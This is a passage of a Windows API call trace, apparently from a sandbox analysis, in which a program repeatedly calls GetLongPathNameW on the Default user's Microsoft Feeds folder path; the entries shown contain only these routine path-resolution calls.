lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.900] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.900] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.903] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.904] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.905] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.905] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.906] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.909] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.910] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.910] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.911] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.912] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.915] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.916] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.917] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.918] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.918] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.922] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.923] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.923] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.924] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.925] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.928] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.929] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.929] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.930] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.931] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.934] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.934] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.935] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.936] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.936] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.939] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.940] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.941] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.941] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.942] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.945] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.946] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.947] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.947] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.948] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.951] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.952] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.952] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.953] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.954] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.957] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.958] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.958] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.959] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.960] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.963] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.963] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.964] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.965] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.965] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.968] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.969] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.970] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.971] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.971] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.974] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.975] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.976] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.977] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.977] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.980] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.981] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.982] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.982] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.983] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.986] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.987] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.988] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.988] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.989] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.992] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.993] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.993] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.994] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.995] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.998] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.998] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.999] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.000] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.000] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.004] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.004] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.005] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.006] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.006] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: 